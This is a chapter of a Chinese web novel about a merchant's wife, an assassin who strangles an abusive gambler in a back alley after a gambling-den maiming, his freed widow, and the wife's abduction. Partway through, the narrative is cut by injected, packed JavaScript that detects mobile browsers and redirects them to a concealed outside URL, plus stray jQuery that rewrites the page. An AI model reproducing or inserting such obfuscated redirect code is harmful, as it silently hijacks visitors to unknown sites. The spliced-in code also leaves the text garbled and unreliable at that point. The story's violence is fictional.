沈万金向来说一不二。
苏尔茗在他警告的目光里缓缓站起身，衣袖下紧握的拳头渐渐生了汗，她破天荒开口道：“芸娘，你等等。”
芸娘的步子慢了下来，但没有停。
沈万金阴沉的目光里带了几分怒意。
“夫君，妹妹上次走得匆忙，忘记带他们家的糕点。”她在沈万金还未开口前，拉着他的衣袖到石凳上坐下，抬袖为他斟了一杯茶，捧到眼前。
“上次你说的事，我考虑了许久。本想借着送糕点的机会，明日连着一封家书寄回，劝劝爹娘。”
那杯茶冒着淡淡的白烟，模糊了沈万金的眉目，她只看见自己被热度烫红的指尖，不及内心痛苦的万分。
半晌，茶被那带着玉扳指的手接过。
他浅浅抿了一口便被放在石桌上，脸色翻书一般好转，语气温柔：“芸娘，夫人让你去，你便去吧。”
苏尔茗胃里泛起一阵恶心，面上却笑意盈盈，语气宠辱不惊：“……多谢夫君。”
芸娘在不远处听见吩咐，顿时调了方向，往门口疾步而去。
入夜时分，街上灯火初明，天边最后的余晖交映，照亮了南市门口的那家茶肆。
一身锦缎衣裙、年芳二十有余的姑娘，迈入茶肆直奔里间柜台，正是芸娘。
“老板，半斤茶酥，不要盐，要素油。”
及胸高的木质柜台后，那布巾包头的小厮立刻正了神色，上下打量一番，清了清嗓子谨慎回道：“这位娘子，别的东西还要吗？”
芸娘冷着脸摇摇头，只想快些提回去，晚些时候还要给伺候夫人沐浴。
小厮眼中露出了然的神色，装模作样地在算盘上随意打了两下，高深莫测地答：“二两银子，您稍等，立刻打包给您。”
芸娘麻利地掏了银子，只见那小厮消失在后院的布帘后。
很快，另一个小厮提了一个油纸包从灶房出来，递给了她。
“您拿好，事我已办妥。”
芸娘有些不解地微微皱眉，掂量了下有些分量的油纸包，没有多想，便转身离去。
后院，方才在柜台里接待芸娘的小厮，已经换了身青色衣裳，从茶肆后门出去，直奔黑市赌坊。
华灯初上，隐在暗处的黑市赌坊，门口一左一右插着两支融得过半的红烛，门后只有一条漆黑不见底的台阶，浸着水汽生了些青苔。
那名小厮从怀里掏出来一个令牌，从门口守卫里接过一盏烛火，沿着台阶缓缓向下。
越往下，金光刺眼、人声鼎沸在同时一拥而上，骤然回响在只能由一人通过的狭长甬道里。
小厮步伐轻快，迅速找到了看似零散分布的守卫、实则紧盯不舍。那一桌上，一个身着粗布破衣，却出手阔绰的男人——吴大牛。
赌坊后院。
两刻钟前，林蕙藏在摆满酒坛的阴暗角落，看着赌坊的后门缓缓关闭，只留一线窄光。
赌坊的后院很大，同寻常院子一般，人手众多且四处挂有灯笼，稍有鬼祟动作便纤毫毕现。今日不知是何缘故，酒坛摆得很满，一直码到屋外，刚好形成一个可以藏人的角落。
林蕙半蹲在那里，静静地听着不远处的动静。
“今日怎么进了这么多酒？”
“你没听说，上次黄三来喝了十坛酒，赢了足足二十锭金！近日来得客人们，人人都两坛起点，图个好彩头！”
“啧，就是辛苦了你我这些杂役，还得跑上跑下的送酒。”
二人声音逐渐靠近堆放酒坛的屋子，摇晃的光线也将林蕙藏身之处渐渐缩小，逐渐远去。
林蕙极力将自己高大的身影掖进暗影中，将衣角攥在手里，生怕露馅。她缓缓挪动的时候，手肘不小心磕到了酒坛，发出一声闷响。
“谁在那？！”
该死！她摸上了腰间的匕首，弓着身子蓄势待发。
脚步声急促向她而来，眼看灯笼的光线就要将那角落照得一览无余！
她若是先灭掉那盏烛火，便可趁乱一击命中一人，或许可以在不受要害伤的情况，连杀二人……
“你们俩做什么呢！还不快过来帮忙！”
一声喝止，让那光线停在距离她一步之遥的地方。
其中一人解释道：“我方才听到有动静……”
“哪天这后院没老鼠，那才是奇事！别磨蹭，今日有贵客，赶紧过来！”
光线渐渐远去，林蕙松了一口气，发现自己后背的衣裳几乎被汗浸透。
她继续等待时机，打晕了一名来搬酒的仆役，将人拖到角落，忍着恶臭换上了他的衣裤，泼上酒装作他醉酒模样。
她端起酒壶，顺着向下的连廊往赌坊堂内去。
不同于黑市赌坊门外的昏暗，这里金玉为柱，白璧为砖，入目之处皆是奢靡。入目的金光在最初震惊过后，便如同废砖破瓦。
她来此，只有一个目的——杀人。
一道尖锐的声音忽然在她紧盯的那处响起，音调高得惊人，却字字清晰：“吴大牛，你抽老千！”
其他赌桌的人仿佛瞬间静止，在话音落下的刹那，哄笑声盈满了堂内。
“我就说吴大牛哪来的这么多钱，原来是打肿脸充胖子，想来这做白日梦！”
“楚爷不是说了，抽老千就要留下一只手，吴大牛上次不是刚被砍了小指，叫的像婆娘生崽，真丢爷们的脸！”
“哈哈哈——”
林蕙看到一拥而上讥讽的人群，便知时机已到，端起身边盛着特质酒液的酒壶，垂着头，往那人群中心挤去。
吴大牛涨红了脸，短粗的脖子青筋狰狞，指着那青色衣裳的人，破口大骂：“放他娘的屁！老子何时抽老千，你莫不是故意找茬？”
林蕙眼神一动，暗自瞥了那青衣男子一眼，平平无奇的面容，脸上甚至连一颗痣都没有，过目即忘。
这边的动静很快引来了赌场的护卫，几名仆役端着吃食和酒水挤进人群，张罗着让各位消消气。
她一脚跟上插在几人之中，将自己手中的那壶药酒放在了吴大牛眼前。
身旁另一名仆役也放了一壶酒，她正想要拿走，两壶酒被吴大牛一同扫落在地，瞬间飘起酒香：“滚！别想拿这点东西收买老子！”
林蕙几乎目眦尽裂，盯着那洒落一地的酒液发愣。
她……失手了……
另一个仆役见她傻站着不走，扯着她蹲下一同打扫碎片，小声警告，“新来的？这是你能凑的热闹吗？”
林蕙机械地捡起碎瓷，指尖一痛，顷刻淌出一道鲜红的痕迹。
她留神听着那青衣男子同吴大牛继续对峙，甚至站出来两名看客，证明吴大牛确实抽老千。
吴大牛忽然暴起，一拳挥向那青衣男子。
男子双手抱胸闪身一躲，诡异地笑了笑，躲在人群中讥讽：“吴大牛，这可是黑市赌坊，楚爷的地盘。你敢放肆，我可不敢。”
吴大牛气得双眼通红，呼哧呼哧喘着粗气，抄起手边的椅子就扔了过去。
人群四散而逃。
他嘴里还在骂骂咧咧地喷粪，还未转身，便被赌坊内的守卫一脚踢翻在地。
“你他娘的瞎了眼？老子今日是你们的贵客！是他污蔑我！”他犹自挣扎。
守卫健壮的手臂宛如铁链一般，将吴大牛死死捆在地上，膝盖顶着他的背，声音十分冷漠：“抽老千，原本只有一只手。现在，由不得你。”
三五个护卫倾身而上，一时间堂内竟只有拳拳到肉的声响，以及吴大牛逐渐有进气儿没出气的痛呼。
“你们……要钱？那三千两我不要了……饶我一命……”
守卫头领掏出腰间的利刃，手起刀落。
一条手臂被整齐地切了下来，掷在赌台上，手指还带着最后的挣扎。
残肢甩出的血，溅在了她的脸颊，带着铁锈的腥气。
“啊——”吴大牛嘶哑且走了调的尖叫，杀掉了满堂的杂音，几乎要叫破林蕙的耳膜。
守卫头领皱了眉头，“楚爷不喜欢有人吵闹。”
下一刻，吴大牛捏起下颚灌满了酒液，呛的说不出话。
守卫头领的声音响起，毫无波澜，像是捏死了一只苍蝇：“坏了规矩，皆此下场。今日见了血，想必各位今晚会玩得尽兴。”
“来人，把他扔到后巷。”他利落地挥挥手，听急匆匆赶来的仆役耳语几句，一声令下，“楚爷有令，今晚每桌送美酒一坛，给各位压压惊！”
看客们瞬间沸腾，眼中带着见血后的疯狂，各自回去抄起了筹码。
这边，仆役们一拥而上，利落地处理血迹和凌乱的赌桌。余光里，那挑事的青衣男子早就没了踪影。
林蕙混在清扫的仆役中，悄悄顺着连廊摸去了后巷。
后巷此刻一丝光线也无，被不远处的楼宇遮了月色，只剩下略有泥泞的地面还泛着最后的亮。
她踏着水声靠近，一言不发。
吴大牛右臂被切断的伤口此刻泡在泥水里，痛得他蜷缩在一处，忽而听到脚步声，他惊慌地求助：“求求你，救救我，我给你钱……只要你能带我去看大夫，我什么都答应你！”
那人高大却单薄，巷子太暗，他根本看不清那人的容颜。
他腰间一松，暗自有些欣喜，莫不是将他绑在背上带去医馆？
“对对对，你背着我，这样……嗬……你……”
那细长的腰带将他口中未尽的话扼死，逐渐收拢，布帛间发出摩擦的细微动静。
他感觉全身的血在一瞬间涌入头顶，眼球几乎要胀裂出眼眶，分不清是巷子里的暗还是窒息让他眼前一片黑暗。
他双脚拼了命地蹬地，左臂用尽力气卡入腰带间向外扯，妄图争取一丝生机。
“你……是谁……”
对方见他还能发声，双臂猛地一用力。
“嗬……”
酒劲上涌让他渐渐失去扭动的力气，脖颈处传来几乎断裂的疼痛，舌头不自觉地向外吊着。
脚下挣扎的动作失了序，渐渐缓下来。
再无半分声息。
月色被乌云半掩着，朦胧的月光照不亮小巷的暗面，黑如墨。
火把的噼啪作响，惊了那巷子里的暗，将它们烧个精光，照亮了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362057|183729||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一整条巷子。
“咚咚咚。”
粗暴地敲门声响起，陌生男人不耐烦地声音紧随而至：“开门！县衙官差查案！”
隔壁邻里的院子听到声音被惊动，走出来一个沧桑的妇人，她听着动静，唤了声：“春花，有人敲你家门呢……不像是大牛，你别怕。”
那妇人又道：“夫君，你陪我们一同去瞧瞧。”
火把将狭小的庭院照亮如白昼，也将赵春花面上的伤口暴露得一清二楚。
那为首的官爷嘴里还塞着根木签，说话间有点口齿不清：“你就是赵春花？吴大牛是你夫君？”
赵春花木讷地点点头。
官爷上下打量她几眼，语气生硬地又问：“吴大牛，平日里可有什么仇家？”
赵春花怕得直哭，眼泪串珠子一样落。
那李夫人忍不住多说一句：“官爷，这是发生了什么事？春花胆子小，不禁吓呀，一向是她夫君吴大牛管家，这吴大牛也不在……”
“吴大牛死了！”他一口将嘴里那木签吐的老远，看起来彻底失了耐性。
赵春花一愣，眼前一片恍惚。
她脸色几番变化，耳根憋得涨红，才怯懦地回答：“他……平日里好赌，欠了许多人的钱，他也不准我过问。”
官爷旁边有人刷刷地记录着，他又问：“那你，今晚在他们家做什么？”
李夫人开口正要解释，便被官爷打断：“没问你，闭上嘴！”
赵春花瞧着那晃眼的火把，眼里还有未落完的泪：“我……没有钱，到李大哥夫妇家蹭顿饭。他们是我隔壁的邻居。”
官爷看过去的时候，两夫妇点头如捣蒜。
他往地上啐了口，叉着腰懒洋洋地留下一句：“吴大牛死在了赌场门外，知县大人确是仇杀，勒颈致死。明日仵作验看尸身后，待凶案破获才能下葬，节哀吧！”
官差们懒散地一扭身，同火光一起消失在小巷入口。
半晌，李夫人松了口气，“春花，你解脱了。”
她身边的赵春花，忽然抱住她放声大哭。
*
翌日一早，苏尔茗便将写好的信和茶酥，在沈万金眼皮子下送出了府。
沈万金近日常宿在箐箐姨娘院里，难得同她一起用了早膳，夸了小厨房的鸡肉粥。
他临走前，在桌上放了一锭金子，笑着吩咐她：“你今日出去采买些晴儿喜欢的东西，临湖的院子我已经让人腾了出来，你按照她的喜好去置办。”
苏尔茗握着那杯清口的热茶，垂着眼，缓缓地嗯了声，沈万金的身影却早已走远了。
她沉默地看着那锭金子，唇角讽刺地一勾，拿起净嘴的帕子盖了上去，起身回房里更衣。
半个时辰后，一辆马车自沈家往城西而去。
马车外，金玉铃铛欢快作响。
帘内，苏尔茗沉着脸，手里的帕子被她搅得不成样子。
路过县衙布告栏时，透过车帘忽然传来一声惊叹。
“哎呀，昨日夜里竟然发生了仇杀案！这才不到一宿就抓到了犯人，证据确凿！”
“我听人说，死得是那西街巷子的老赌徒吴大牛，被那讨债的犯人给勒死了！赌狗，真是死有余辜！”
“不愧是张知县，真乃恩自县的父母官！明察秋毫！”
苏尔茗手中的帕子一松，落在了脚边，她颓然靠在车壁上，放下了悬着一夜的心。
车轮滚滚向前，围观众人对知县的夸赞声渐渐远去。
不多时，马车的速度逐渐慢了下来，越靠近西市，人流越多，就越难行进。
苏尔茗掀开马车小窗的帘子，看见那条熟悉的小巷，吩咐车夫：“何老，前面巷子里停一下吧，人太多，不往深处去了。”
“哎好，夫人。”车夫应声。
马车停在巷子入口的阴凉处，她想要支开车夫，便道：“何老，西市尾街有一家卖胡饼的人家，你替我买两个。”
她将自己的荷包递过去，何老应声后很快接走。
马车一轻，年迈的脚步声渐渐远去。
巷子里隐隐约约传来哭声，越往深处，空中便出现了白色的纸钱，被风卷起，飘忽着落下。
那片纸钱，被一双锦缎鸳鸯的绣鞋踩在脚下，狠狠碾进土里，碎成几瓣。
苏尔茗戴着帷帽，远远望着一身素白，脸上伤痕累累、双眼哭得肿似核桃的赵春花，鼻子一酸，眼里渐渐腾起了泪。
她在无人发现的角落悄悄拭泪，轻声道：“春花，你解脱了。”
一旁似乎有破空之声，她脚步一转便往马车走去，警觉地竖耳听着。
她走到马车跟前，小巷安静如初，未有任何异样，空无一人。
又静待了许久，才放心地摘下帷帽，踏上乘车的踏板，车帘却忽然由内而外被掀开——
口中的惊呼还未发出，便被一双温热粗粝的手死死扼在口中。
还未看清是谁，一股力道将她拉入轿厢，身影瞬间消失在帘后。
苏尔茗看不见来人，惊慌的视线里，只有恢复平静的轿帘。
好似她不曾离开过。